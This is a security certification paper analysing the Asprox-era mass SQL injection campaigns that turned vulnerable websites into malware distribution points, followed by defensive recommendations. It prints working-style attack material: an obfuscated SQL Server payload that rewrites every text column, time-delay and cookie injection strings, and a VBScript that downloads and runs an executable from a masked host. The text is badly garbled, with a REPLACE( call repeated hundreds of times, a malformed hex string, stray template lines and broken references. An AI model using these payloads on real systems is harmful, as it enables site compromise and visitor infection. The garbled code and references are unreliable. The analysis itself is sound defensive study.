Mass SQL Injection for Malware Distribution

GIAC (GWAPT) Gold Certification

Author: Larry Wichman, larry.wichman@gmail.com
Advisor: Adam Kliarsky

Accepted: October 7th, 2010

Abstract

SQL injection attacks are typically a way to steal credit card numbers, other valuable data, or as a pivot point from the internet to the internal network. We are now beginning to see SQL injection as a way to distribute malware making vulnerable web applications a platform for hackers to launch attacks to the client-side. The goal of the hackers is to infect as many computers as possible, adding them to the millions of infected bots already under their control. This paper will discuss the role vulnerable web applications play in these attacks, including how they are targeted and exploited. The attacks have varied since first being discovered in 2007, with the client-side exploitation code changing to keep up with the latest vulnerabilities and the start of targeted attacks against Cold Fusion web applications. There has been no shortage of vulnerable applications in each instance. This paper will discuss lessons learned from these attacks and what can be done to prevent future occurrences.
1. Introduction

Cybercriminals have made alarming improvements to their infrastructure over the last few years. One reason for this expansion is thousands of websites vulnerable to SQL injection. Malicious code writers have exploited these vulnerabilities to distribute malware.

They also employed Google, fast flux domains and 0 day exploit code to create their new cybercrime platform. This enabled them to carry out the attacks on a large scale. Google Searches showed, “Tens of thousands of websites belonging to Fortune 500 corporations, state government agencies and schools have been infected with malicious code” (Goodin, 2008). The infected web servers redirected unsuspecting visitors to malicious websites. The victim’s computers were then subjected to client-side exploit code. Once infected, these computers were added to the thousands of bots under the control of hackers. The attackers knew antivirus companies would write updates and software vendors will patch their code. To combat this, they made sure their malicious web sites were loaded with a variety of exploit code.

2. A Malware Distribution Platform

2.1.1. Search Engine

Using Google for reconnaissance was instrumental in the automation of these attacks. Security researcher John Long was one of the first to recognize its potential. He has done a lot of research on this topic and wrote a book called Google Hacking. The book discusses how Google’s advanced operators can be used to format searches to look for vulnerable web applications. His book also describes how this could be scripted using Perl and other languages (Long, 2005).

One of the first instances malware writers were discovered using search engines in this manner was the Santy worm. Research showed in December 2004, “it creates a specially formulated Google search request, which results in a list of sites running vulnerable versions of phpBB” ("Net-worm.perl.santy.a threatens internet," 2004). It was
not until Google filtered searches for the vulnerability that the attacks stopped (Roberts, 2004).

Research was posted on April 2008 with details of a newly uncovered SQL injection tool. This tool gave researchers a better understanding of how the attacks work. First, the attacker is able to configure a tag to be injected. Next, it connects to Google and starts to search for vulnerable sites. Finally, it starts the attack once the reconnaissance phase is complete (Zdrnja, 2008).

The following website was discovered by security researcher Dancho Danchev in October 2008. At first glance it seems to be dedicated to assisting developers with security. After digging around, Mr. Danchev identified an interesting attack tool. This tool integrates search engine queries for attacking sites vulnerable to SQL injection. It then ranks them on the probability of success. Finally, it attacks based on the results. The

Author Name, email@address
change log indicates several new features have been added. These changes include support for three different search engines. They also added support for MySQL, Oracle, and MS Access (Danchev, 2008).

2.1.2. Asprox

The Asprox botnet was the most prominent attack vector. It has previously been known for phishing scams. On May 13 2008, Joe Stewart of SecureWorks blogged that Asprox started seeding its bots with a file called ‘msscntr32.exe’. Joe explains, “When launched, the attack tool will search Google for .asp pages which contain various terms, and will then launch SQL injection attacks against the websites returned by the search” (Stewart, 2008).

2.1.3. Asprox via Pushdo

On June 5, 2010, M86 Security Labs noted on their blog that a new malicious spam campaign was coming from the Pushdo/Cutwail botnet. It lured its victims with promises of a $50 iTunes Gift Certificate:

Author Name, email@address
The attachment contained a Trojan downloader. When executed, it pulled a file containing Asprox. According to M86, “Asprox phones home and spams the same Trojan downloader.” M86 also reports, “Pushdo, Bredolab/Oficla/Sasfis and Asprox have something in common - all of the domains they connect to are registered at the same registrar, registered by a “Private Person”, with similar looking phone numbers” (“The asprox spambot,” 2010).

2.1.4. Fast-Flux Networks

The attackers understood that conducting an attack this large would require balancing the load across multiple servers. They also knew many of their bots would be detected and/or shut down. To solve these problems, they employed fast-flux networks. Fast-flux is a technique originally associated with phishing sites. In November of 2006, the Internet Storm Center reported seeing phishing sites hosted on compromised PCs...
using fast-flux domains (Salusky, 2006). Since then, fast flux has been used for large scale malware campaigns. On September 5, 2007, Dancho Danchev noted in his blog that the Storm worm started using fast-flux domains. He reported, “To make it much more difficult to track down criminal activities and shut down their operations” (Danchev, 2007).

Six days after Joe Stewart announced Asprox was launching SQL injection attacks, Dancho Danchev reported in his blog, “The botnet masters behind the Asprox botnet have recently started SQL injecting fast-fluxed malicious domains in order to enjoy a decent tactical advantage in an attempt to increase the survivability of the malicious campaign” (Danchev, 2008).

The following is an example of a malicious domain in fast-flux mode:

![Example of a malicious domain in fast-flux mode]

### 2.2. Attacking the Server
#### 2.2.1. ASP/IIS

Attacks against ASP/IIS applications via Asprox were most rampant. The entire attack is contained within one SQL statement. We already know a couple of things before decoding anything:
@S is declared as varchar with a length of 4000 characters:

```sql
DECLARE @S VARCHAR(4000);
```

A CAST statement is assigned to @S. This is done for obfuscation.

```sql
SET @S=CAST(...)
```

Decode the content of the CAST statement with the following script:

```
$ perl -pe 's/(..)00/chr(hex($1))/ge' < input > output
```

Decoded Output:
DECLARE @T VARCHAR(255), @C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND (b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T, @C
WHILE(@@FETCH_STATUS=0)
BEGIN EXEC('UPDATE [@T] SET [@C]=REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLAC
The java script will run on the victims’ browser once they open a page where the script is invoked. This will redirect them to sites hosting malicious client-side code (Ullrich, 2008).

### 2.2.2. WAITFOR DELAY

One variation reported to the Internet Storm Center used the WAITFOR DELAY command. This technique is normally used to exploit blind SQL injection. Queries are sent with a time delay of n seconds. The attacker will know the application is vulnerable if it waits n seconds to respond to a true SQL statement.

```sql
declare @q varchar(8000) select @q = 0x574149544454F522044454C4159202730303A30303A323027 exec(@q) -
```

Decode the hexadecimal using the following Perl command:

```perl
$s = "574149544454F522044454C4159202730303A30303A323027" | perl -pe 's/(.)/chr(hex($1))/ge'
```

Output:

```
WAITFOR DELAY '00:00:20'
```

This is a simple, yet clever way to automate reconnaissance for a large scale SQL injection attack (Zdrnja, 2008).

### 2.2.3. Cookies

The use of cookies was also reported to the Internet Storm Center. This particular log shows an HTTP post to an ASP/IIS server (ISC, 2008).

```http
POST /removed.asp HTTP/1.1
Cookie: start=Z%3BDECLARE%20S%20VARCHAR(4000)%3BSET%20S%3DAST(0x4454... Content-Type: application/x-www-form-urlencoded
Host: removed
Content-Length: 3
```

The SQL string is contained within the cookie. Once decoded:

Author Name, email@address
This looks very similar to the SQL statements from Asprox. Perhaps the attackers were aware that this site would not accept a ‘GET’ and tried a ‘POST’ (Wesemann, 2008).

2.2.4. ColdFusion

The attackers also expanded their target list to ColdFusion applications. A reader submitted the following log to the Internet Storm Center:

```
GET /shared/cfm/image.cfm?id=125959;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434c...)
```

The biggest difference between this and the ASP/IIS attack is the string sent to CAST. This string is encoded with hexadecimal rather than unicode (Zdrnja, 2008).
3. Malware Distribution

3.1 Attacking the Client

3.1.1. RealPlayer 0 Day

One of the first known client-side vulnerabilities associated with these attacks was a RealPlayer buffer overflow. On January 1, 2008 Evgeny Legerov, Chief Technology Officer of Gleg Ltd. posted a flash demo of how this 0day exploit works. It has since been removed from their site (Legerov, 2008). However, the demo was not removed fast enough. On January 4, 2008 the Internet Storm Center reported this RealPlayer vulnerability being actively exploited in the wild. A few hours later several infected .gov and .edu sites were redirecting users to this code (Fendley, 2008).

3.1.2. Adobe Flash Player

According to the Internet Storm Center on August 8, 2008, a number of legitimate sites were being attacked with a new variation of the Asprox injection string. The attackers incorporated some new client-side scripting this time. The ISC reported that the first file determined if the user’s browser was Firefox or Internet Explorer. The next set of files contained a JavaScript that determines the Flash version.

Author Name, email@address
w.js checks if the language is English

new.htm reports to a stat site. Then a number of iframes. Then grab the next set of htm pages

Flash.htm checks to see if the browser is Internet Explorer or Firefox

It.html checks which version of Flash (IE) f2.html checks which version of Flash (FF)

Also included in this labyrinth of iframes was a file called ‘rondll32.exe’. This may have been included if the browser and/or Flash version combination was not exploitable. The ISC notes, “The yahoo.htm file executes a vbscript to download rondll32.exe.” This file contained a downloader that attempts to pull more malicious code (Hofman, 2008).

<pre>
<object classid="clsid:24F3EAD6-8B87-4C1A-97DA-71C126BDA08F" id="test"></object>
<script language="vbscript">

test.GetFile "\h\X:\www.XXX.com/XXX\rondll32.exe","c:\ms\Yahoo.exe",5,1,"ti\any"

Set WshShell = CreateObject("WScript.Shell")

WshShell.Run"c:\ms\Yahoo.exe"

</script>
</pre>

### 3.1.3. Fake Antivirus

On June 30, 2008 the Internet Storm Center reported another variant of client-side exploitation. Infected web servers redirected visitors through a series of fast flux domains that ultimately led to a fake anti-virus site. According to the Internet Storm Center, “they
are redirecting to a fake AV site which fools users into installing the malware” (ISC 2008).

4. The Next Episode
4.1. Another Round
A second wave of attacks occurred in June of 2010. M86 Security Labs noted in their blog on June 5, 2010 that Asprox was becoming active again. This was helped with the previously mentioned email campaign from Pushdo (M86, 2010). Three days later Securi posted, “According to Google over 114,000 different pages have been infected” (dd, 2010). This next round of attacks also infected several high profile sites. These sites included the Jerusalem Post and the Wall Street Journal. More recently, on February 15, 2011 Websense posted, “BBC - 6 Music Web site has been injected with a malicious iframe, as have areas of the BBC 1Xtra radio station Web site”. They continued, “The code that is delivered to end users utilizes exploits delivered by the Phoenix exploit kit. A malicious binary is ultimately delivered to the end user” (“BBC - 6,” 2011). It is not clear whether this was the result of Asprox and/or SQL injection.

4.2. The Good Fight
4.2.1. Secure Coding Practices
Secure coding practices are the preferred method to avoid SQL injection attacks. According to OWASP, “SQL Injection flaws are introduced when software developers create dynamic database queries that include user supplied input.” To prevent injection flaws, OWASP recommends developers use a parameterized API. If that is not possible, they recommend escaping special characters and white listing user input. A good resource for secure coding practices can be found at
4.2.2. Security Development Lifecycle

Organizations must implement security in their software development process. The paradigm that exists today does not incorporate these practices. This has lead to countless security flaws.

Microsoft is a good resource in this area. They published their own procedures called the Microsoft Security Development Lifecycle Process. According to Microsoft, “The SDL is a software development security assurance process that consists of a collection of security practices, grouped by the phases of the traditional software development life cycle”. More information on SDL can be found at www.microsoft.com/security/sdl.

Another resource for SDL is the CSSLP certification from ISC². According to their website, “The Certified Secure Software Lifecycle Professional (CSSLP) is the only certification in the industry that ensures security is considered throughout the entire lifecycle Information regarding the CSSLP certification is located at www.isc2.org/csslp/Default.aspx.

4.2.3. Web Application Scanning

Web application scanning is a great way for organizations to assess their web applications. Scanning should be performed on production applications and incorporated into the software development process. There are several open source and commercial scanners available. A list of scanners can be found at sectools.org/web-scanners.html.

Another resource for web applications scanners is the Web Application Security Consortium Project. WASC published a document called the Web Application Security Scanner Evaluation Criteria. They explain, “The goal of the WASSEC is to create a vendor-neutral document to help guide web application security professionals during web application scanner evaluations. This document provides a comprehensive list of features that should be considered when conducting a web application security scanner evaluation”. The document is located at projects.webappsec.org/w/page/13246986/Web-Application-Security-Scanner-Evaluation-Criteria.
4.2.4. Web Application Firewall

According to WASC, “Web application firewalls (WAF) are a new breed of information security technology designed to protect web sites from attack. WAF solutions are capable of preventing attacks that network firewalls and intrusion detection systems can't, and they do not require modification of application source code” (WASC, 2011). OWASP is also a good resource for starting your WAF research. More information can be found at www.owasp.org/index.php/Web_Application_Firewall.

5. Conclusion

The attackers have shown a lot of innovation with these attacks. They were able to use multiple attack vectors. They were also able combine 0 day exploits with their existing infrastructure to add more bots to their vast networks.

What is most alarming is the amount of vulnerable web servers. The only way to diminish this new attack vector is for organizations to adapt new technologies and practices. Web scanners and web application firewalls are great tools to help with this. More importantly, innovation should come in the form of methodology. This should include secure coding practices and incorporating security in the software development process.

6. References

*BBC - 6 music and 1xtra web site injected with malicious iframe.* (2011, February 15). Retrieved from


Author Name, email@address
http://blog.sucuri.net/2010/06/mass-infection-of-iisasp-sites-robint-us.html

http://isc.sans.edu/diary.html?storyid=3810

http://www.theregister.co.uk/2008/01/08/malicious_website_redirectors/

http://isc.sans.edu/diary.html?storyid=4844

Legerov, E. (2008, January01). 0day realplayer exploit demo. Retrieved from

Waltham, MA: Syngress.


http://www.pcworld.com/article/119029/google_smacks_down_santy_worm.htm

http://isc.sans.edu/diary.html?storyid=1895


The asprox spambot resurrects. (2010, June 5). Retrieved from
http://www.m86security.com/labs/i/The-Asprox-Spambot-Resurrects.trace.1345~.asp

http://isc.sans.edu/diary.html?storyid=4565

http://isc.sans.edu/diary.html?storyid=5092

http://isc.sans.edu/diary.html?storyid=4771

Author Name, email@address
<table>
<thead>
<tr>
<th>SANS OnDemand</th>
<th>OnlineUS</th>
<th>Anytime</th>
<th>Self Paced</th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS SelfStudy</td>
<td>Books &amp; MP3s OnlyUS</td>
<td>Anytime</td>
<td>Self Paced</td>
</tr>
</tbody>
</table>